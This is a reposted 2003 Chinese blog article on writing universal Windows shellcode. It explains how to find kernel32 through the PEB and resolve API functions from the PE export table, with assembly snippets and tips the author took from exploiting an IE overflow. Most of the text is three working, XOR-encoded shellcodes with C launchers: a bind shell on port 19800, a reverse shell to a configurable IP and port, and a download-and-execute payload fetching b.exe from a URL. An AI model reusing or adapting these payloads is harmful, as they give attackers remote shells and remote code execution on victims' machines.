(转载)Shellcode编写技术

Shellcode编写技术

转自: http://www.xfocus.net
创建时间:2003-08-31
文章属性:原创
文章提交: jeno (xxgchappy_at_vip.sina.com)

作者:jeno
Email: jeno@vip.371.net
Time: 2003-8-31

Title:Shellcode编写技术

    前些日子在调试 http://www.microsoft.com/technet/security/bulletin/MS03-015.asp
的时候遇到了比较苦恼的事情,那就是我通过覆盖了eip或者seh来得到执行代码的权利,但是
现在网上流行的shellcode不能满足我的要求,主要有以下几个方面:
1、不通用,一般只能在win2000下运行,很少可以在winxp,win2003下正常运行。
2、没有处理好程序退出问题,在ie溢出的时候同时把ie给异常结束了。
3、有些代码太长,甚至达到了1000字节以上。
4、再不同语言环境下可能不通用。

由于有了上面四点原因,我打算写个通用的shellcode来用。其实shellcode通不通用最重要的是
获得一些地址的方法,看了很多人写的shellcode总觉得不是太好,因为他们大都采用在peb中找
出kernel32的地址,然后在shellcode末尾有你需要函数的ascii码,通过搜索内存来找到地址,
我先说说为什么可以在peb中找到kernel32的地址:
1、fs指向teb结构
2、在teb+0x30地方指向peb结构
3、在peb+0x0c地方指向PEB_LDR_DATA结构
4、在PEB_LDR_DATA+0x1c地方就是一些动态连接库的地址了,如第一个指向ntdll.dll 第二个就
   是我们需要的kernel32.dll的地址
  
以下是汇编代码
mov eax, fs:0x30    
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd                
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

一般shellcode获得函数的方法用汇编表示如下:

search_function:

inc ebx
cmp [ebx], dl
jne  no_zero
inc  ecx
no_zero:
cmp [ebx], DWORD PTR 'PteG'
jne no_match
cmp [ebx+4], DWORD PTR 'Acor'
        jne no_match
        je  search_complete
no_match:
jmp search_function


ebx 中放的是 esi:0的东西一般是一个base address
如 db 0ffh,0ffh,0e8h,077h      ;Specify the Kernel Base @ 77e60000h
这就是造成一般shellcode不通用的主要原因(固定地址)

为了达到通用的目的我们必须分析pe文件格式,通过分析我们得到如下方法:
从PE EDT中获得函数地址
1、PE header offset =kernel32.dll base address+0x3c;
2、exports directory offset =kernel32.dll base address+PE header offset+120;
3、exports directory table=kernel32.dll base address+exports directory offset;
4、name pointers table =exports directory table+32;
5、然后再name pointers table中比较函数的名字(可以按名字比较,也可以把名字hash以下比较hash值)
6、ordinals table=exports directory table+36
7、ordinals table指向函数的地址,所以根据对应的序号通过ordinals table找到函数的地址

给出搜索汇编代码
        mov ebp, [somewhere]            kernel32.dll 基址
    mov eax, [ebp + 0x3c]        eax = PE header offset
    mov edx, [ebp + eax + 120]
    add edx, ebp                edx = exports directory table
    mov ecx, [edx + 24]            ecx = number of name pointers
    mov ebx, [edx + 32]
    add ebx, ebp                ebx = name pointers table
        dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp            esi 就是指向 name pointer
下面搜索就可以自己写了,天高任鸟飞!


心得:
    1、再写网络shellcode时最好加上WairForSingleObject
    2、不要忘了ExitProcess,可以避免很多程序错误。
    3、代码通过xor99后不要有0A,因为在ie溢出中会对0A转换成0D0A在copy字符串的时候就会缩短。
好了就写这些吧!希望对大家会有所启发!


附我写的三个通用shellcode:

1、bindport 19800

#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define    scport        19800
//don't change the offset


#define    port_offset    251
unsigned char jeno_bindport19800_sc[] =
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/xd9/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/x18/x75/x19/x99/x99/x99/x12/x6D/x71"
"/xD5/x98/x99/x99/x10/x9F/x66/xAF/xF1/x17/xD7/x97/x75/x71/xFF/x98"
"/x99/x99/x10/xDF/x91/x66/xAF/xF1/x34/x40/x9C/x57/x71/xCE/x98/x99"
"/x99/x10/xDF/x95/xF1/xF5/xF5/x99/x99/xF1/xAA/xAB/xB7/xFD/xF1/xEE"
"/xEA/xAB/xC6/xCD/x66/xCF/x91/x10/xDF/x9D/x66/xAF/xF1/xEB/x67/x2A"
"/x8F/x71/xAB/x98/x99/x99/x10/xDF/x89/x66/xAF/xF1/xE7/x41/x7B/xEA"
"/x71/xBA/x98/x99/x99/x10/xDF/x8D/x66/xEF/x9D/xF1/x52/x74/x65/xA2"
"/x71/x8A/x98/x99/x99/x10/xDF/x81/x66/xEF/x9D/xF1/x40/x90/x6C/x34"
"/x71/x9A/x98/x99/x99/x10/xDF/x85/x66/xEF/x9D/xF1/x3D/x83/xE9/x5E"
"/x71/x6A/x99/x99/x99/x10/xDF/xB9/x66/xEF/x9D/xF1/x3D/x34/xB7/x70"
"/x71/x7A/x99/x99/x99/x10/xDF/xBD/x66/xEF/x9D/xF1/x7C/xD0/x1F/xD0"
"/x71/x4A/x99/x99/x99/x10/xDF/xB1/x66/xEF/x9D/xF1/x7E/xE0/x5F/xE0"
"/x71/x5A/x99/x99/x99/x10/xDF/xB5/xAA/x66/x18/x75/x09/x98/x99/x99"
"/xCD/xF1/x98/x98/x99/x99/x66/xCF/x81/xC9/xC9/xC9/xC9/xD9/xC9/xD9"
"/xC9/x66/xCF/x85/x12/x41/xCE/xCE/xF1/x9B/x99/xd4/xc1/x12/x55/xF3"
"/x8F/xC8/xCA/x66/xCF/xB9/xCE/xCA/x66/xCF/xBD/xCE/xC8/xCA/x66/xCF"
"/xB1/x12/x49/xF1/xFC/xE1/xFC/x99/xF1/xFA/xF4/xFD/xB7/x10/xFF/xA9"
"/x1A/x75/xCD/x14/xA5/xBD/xAA/x59/xAA/x50/x1A/x58/x8C/x32/x7B/x64"
"/x5F/xDD/xBD/x89/xDD/x67/xDD/xBD/xA5/x67/xDD/xBD/xA4/x10/xCD/xBD"
"/xD1/x10/xCD/xBD/xD5/x10/xCD/xBD/xC9/x14/xDD/xBD/x89/xCD/xC9/xC8"
"/xC8/xC8/xD8/xC8/xD0/xC8/xC8/x66/xEF/xA9/xC8/x66/xCF/x89/x12/x55"
"/xF3/x66/x66/xA8/x66/xCF/x95/x12/x51/xCE/x66/xCF/xB5/x66/xCF/x8D"
"/xCC/xCF/xFD/x38/xA9/x99/x99/x99/x1C/x59/xE1/x95/x12/xD9/x95/x12"
"/xE9/x85/x34/x12/xF1/x91/x72/x90/x12/xD9/xAD/x12/x31/x21/x99/x99"
"/x99/x12/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC/xCF/xCE/x12/xF5/xBD/x81"
"/x12/xDC/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12/xD3/x81/x12/xC3/xB9/x9A"
"/x44/x7A/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA/x66/x65/xAA/x59/x35/xA3"
"/x5D/xED/x9E/x58/x56/x94/x9A/x61/x72/x6B/xA2/xE5/xBD/x8D/xEC/x78"
"/x12/xC3/xBD/x9A/x44/xFF/x12/x95/xD2/x12/xC3/x85/x9A/x44/x12/x9D"
"/x12/x9A/x5C/x72/x9B/xAA/x59/x12/x4C/xC6/xC7/xC4/xC2/x5B/x9D/x99";


//bindport 19800

int main(int argc, char **argv)
{


    WSADATA wsa;
    
    unsigned short    port;

    WSAStartup(MAKEWORD(2,2),&wsa);
    port = htons(scport)^(u_short)0x9999;
    memcpy(&jeno_bindport19800_sc[port_offset], &port, 2);
  
    

((void (*)(void)) &jeno_bindport19800_sc)();



}



2、Reverse shellcode  default connect back 127.0.0.1 1980



#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define   scip        "127.0.0.1"
#define    scport        1980
//don't change the offset
#define    ip_offset    201
#define    port_offset    208
unsigned char jeno_connectback_sc[]=
"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/x9f/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/xFF/x18/x75/x19/x99/x12/x6D/x71/x8A"
"/x98/x99/x99/x10/x9F/x66/xAF/xF1/x17/xD7/x97/x75/x71/xB4/x98/x99"
"/x99/x10/xDF/x91/x66/xAF/xF1/x34/x40/x9C/x57/x71/x87/x98/x99/x99"
"/x10/xDF/x95/xF1/xF5/xF5/x99/x99/xF1/xAA/xAB/xB7/xFD/xF1/xEE/xEA"
"/xAB/xC6/xCD/x66/xCF/x91/x10/xDF/x9D/x66/xAF/xF1/xEB/x67/x2A/x8F"
"/x71/x60/x99/x99/x99/x10/xDF/x89/x66/xAF/xF1/xE7/x41/x7B/xEA/x71"
"/x73/x99/x99/x99/x10/xDF/x8D/x66/xEF/x9D/xF1/x52/x74/x65/xA2/x71"
"/x43/x99/x99/x99/x10/xDF/x81/x66/xEF/x9D/xF1/x40/x90/x6C/x34/x71"
"/x53/x99/x99/x99/x10/xDF/x85/x66/xEF/x9D/xF1/x75/x60/x33/xF9/x71"
"/x23/x99/x99/x99/x10/xDF/xB9/x18/x75/x09/x98/x99/x99/xCD/xF1/x98"
"/x98/x99/x99/x66/xCF/x81/xC9/xC9/xC9/xC9/xD9/xC9/xD9/xC9/x66/xCF"
"/x85/x12/x41/x72/x9A/x66/xCF/x8D/xF1/xE6/x99/x99/x98/xF1/x9B/x99"
"/x9e/x25/x12/x55/xF3/x89/xC8/xCA/x66/xCF/xB9/x1C/x59/xEC/x7F/xF1"
"/xFC/xE1/xFC/x99/xF1/xFA/xF4/xFD/xB7/x10/xFF/xA9/x1A/x5D/x35/x14"
"/xA5/xBD/xAA/x59/xAA/x50/x19/x70/x72/x32/x7B/x64/x5F/xDD/xBD/x89"
"/xDD/x67/xDD/xBD/xA5/x67/xDD/xBD/xA4/x10/xC5/xBD/xD1/x10/xC5/xBD"
"/xD5/x10/xC5/xBD/xC9/x14/xDD/xBD/x89/xCD/xC9/xC8/xC8/xC8/xF3/x98"
"/xC8/xC8/x66/xEF/xA9/xC8/x66/xCF/x89/x12/x55/xF3/x66/x66/xA8/x66"
"/xCF/x95/x12/x51/x72/x16/xCC/xCF/xFD/x38/xA9/x99/x99/x99/x1C/x59"
"/xE1/x95/x12/xD9/x95/x12/xE9/x85/x34/x12/xF1/x91/x72/x90/x12/xD9"
"/xAD/x12/x31/x21/x99/x99/x99/x12/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC"
"/xCF/xCE/x12/xF5/xBD/x81/x12/xDC/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12"
"/xD3/x81/x12/xC3/xB9/x9A/x44/x7A/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA"
"/x66/x65/xAA/x59/x35/xA3/x5D/xED/x9E/x58/x56/x94/x9A/x61/x72/x6B"
"/xA2/xE5/xBD/x8D/xEC/x78/x12/xC3/xBD/x9A/x44/xFF/x12/x95/xD2/x12"
"/xC3/x85/x9A/x44/x12/x9D/x12/x9A/x5C/x72/x9B/xAA/x59/x12/x4C/xC6"
"/xC7/xC4/xC2/x5B/x9D/x99";


main()
{
    WSADATA wsa;
    
    unsigned short    port;
    unsigned long ip;

    WSAStartup(MAKEWORD(2,2),&wsa);
    port = htons(scport)^(u_short)0x9999;
    ip = inet_addr(scip)^0x99999999;
    memcpy(&jeno_connectback_sc[port_offset], &port, 2);
    memcpy(&jeno_connectback_sc[ip_offset], &ip, 4);
    



((void (*)(void)) &jeno_connectback_sc)();
    

    return 0;
}



3、Download&&executeShellcode



#include <winsock.h>
#include <stdio.h>

unsigned char jeno_downloadfile_sc[]=

"/xEB/x10/x5B/x4B/x33/xC9/x66/xB9/x3c/x01/x80/x34/x0B/x99/xE2/xFA"
"/xEB/x05/xE8/xEB/xFF/xFF/xFF/x70/x34/x99/x99/x99/xC3/x12/x6B/xAA"
"/x59/x35/xA4/x01/x99/x99/x99/xEC/x6F/x18/x75/x51/x99/x99/x99/x12"
"/x6D/x10/xCF/xBD/x71/x0C/x99/x99/x99/xAA/x42/x10/x9F/x66/xAF/xF1"
"/x17/xD7/x97/x75/x71/x34/x99/x99/x99/x10/xDF/x91/xF1/xF5/xF5/x99"
"/x99/xF1/xF6/xF7/xB7/xFD/xF1/xEC/xEB/xF5/xF4/xCD/x66/xCF/x91/x10"
"/xDF/x9D/x66/xAF/xF1/xE7/x41/x7B/xEA/x71/x11/x99/x99/x99/x10/xDF"
"/x95/x66/xAF/xF1/x01/x67/x13/x97/x71/xE0/x99/x99/x99/x10/xDF/x8D"
"/x66/xAF/xF1/xBC/x29/x66/x5B/x71/xF3/x99/x99/x99/x10/xDF/x81/x66"
"/xEF/x9D/xF1/xAF/x83/xB6/xE9/x71/xC3/x99/x99/x99/x10/xDF/x89/xF3"
"/xFC/xF1/xEA/xB7/xFC/xE1/x10/xFF/x85/x66/xEF/x85/x66/xCF/x81/xAA"
"/x50/xC8/xC8/x66/xEF/x85/x66/xEF/xBD/xC8/x66/xCF/x89/xAA/x50/xC8"
"/x66/xEF/x85/x66/xCF/x8D/x66/xCF/x95/x70/x19/x99/x99/x99/xCC/xCF"
"/xFD/x38/xA9/x99/x99/x99/x1C/x59/xE1/x95/x12/xD9/x95/x12/xE9/x85"
"/x34/x12/xF1/x91/x72/x90/x12/xD9/xAD/x12/x31/x21/x99/x99/x99/x12"
"/x5C/xC7/xC4/x5B/x9D/x99/xCA/xCC/xCF/xCE/x12/xF5/xBD/x81/x12/xDC"
"/xA5/x12/xCD/x9C/xE1/x9A/x4C/x12/xD3/x81/x12/xC3/xB9/x9A/x44/x7A"
"/xAB/xD0/x12/xAD/x12/x9A/x6C/xAA/x66/x65/xAA/x59/x35/xA3/x5D/xED"
"/x9E/x58/x56/x94/x9A/x61/x72/x6B/xA2/xE5/xBD/x8D/xEC/x78/x12/xC3"
"/xBD/x9A/x44/xFF/x12/x95/xD2/x12/xC3/x85/x9A/x44/x12/x9D/x12/x9A"
"/x5C/x72/x9B/xAA/x59/x12/x4C/xC6/xC7/xC4/xC2/x5B/x9D/x99/x71/x50"
"/x67/x66/x66"
" http://127.0.0.1/b.exe"
"/x98";


main()
{
  
((void (*)(void)) &jeno_downloadfile_sc)();
    
    return 0;
}

//全文完
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值